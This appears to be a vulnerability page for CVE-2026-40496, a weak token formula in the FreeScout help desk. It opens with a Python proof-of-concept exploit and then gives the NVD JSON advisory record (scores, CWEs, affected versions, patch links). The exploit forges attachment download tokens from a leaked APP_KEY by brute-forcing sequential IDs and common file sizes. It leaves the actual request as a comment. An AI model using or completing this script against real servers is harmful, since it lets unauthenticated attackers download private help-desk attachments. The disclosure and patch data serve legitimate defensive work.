CVE-2026-40496

import hashlib # Exploit logic for CVE-2026-40496 # Assumption: APP_KEY is known, leaked, or default. # The token generation logic is: md5(APP_KEY + attachment_id + size) def generate_token(app_key, attachment_id, size): # Concatenate parameters based on the vulnerable logic raw_string = f"{app_key}{attachment_id}{size}" # Generate MD5 hash return hashlib.md5(raw_string.encode()).hexdigest() def exploit(target_url, app_key, start_id=1, end_id=1000): print(f"[*] Starting exploit against {target_url}") # Iterate through sequential attachment IDs for attachment_id in range(start_id, end_id + 1): # Common file sizes to brute-force (in bytes) # Example sizes: 1KB, 10KB, 100KB, 1MB, 5MB common_sizes = [1024, 10240, 102400, 1048576, 5242880] for size in common_sizes: token = generate_token(app_key, attachment_id, size) # Construct the malicious URL # Note: Actual endpoint structure may vary based on FreeScout version malicious_url = f"{target_url}/attachment/{attachment_id}/download?token={token}" print(f"[+] Trying ID: {attachment_id}, Size: {size}, Token: {token}") print(f" URL: {malicious_url}") # Attacker would send an HTTP request here and check status code (e.g., 200 OK) # if response is 200, the download is successful. if __name__ == "__main__": # Configuration TARGET = "http://example.com" LEAKED_APP_KEY = "base64:SECRET_KEY_HERE=" exploit(TARGET, LEAKED_APP_KEY)

{"cve": {"id": "CVE-2026-40496", "sourceIdentifier": "[email protected]", "published": "2026-04-21T02:16:08.350", "lastModified": "2026-04-23T16:32:59.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, attachment download tokens are generated using a weak and predictable formula: `md5(APP_KEY + attachment_id + size)`. Since attachment_id is sequential and size can be brute-forced in a small range, an unauthenticated attacker can forge valid tokens and download any private attachment without credentials. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-330"}, {"lang": "en", "value": "CWE-340"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.213", "matchCriteriaId": "EA97ED0A-4886-4583-9D20-47BE39C40B01"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/dbdf8f2260b43a21818255c70f0b61b9de9cd555", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-2783-wxmm-wmwr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}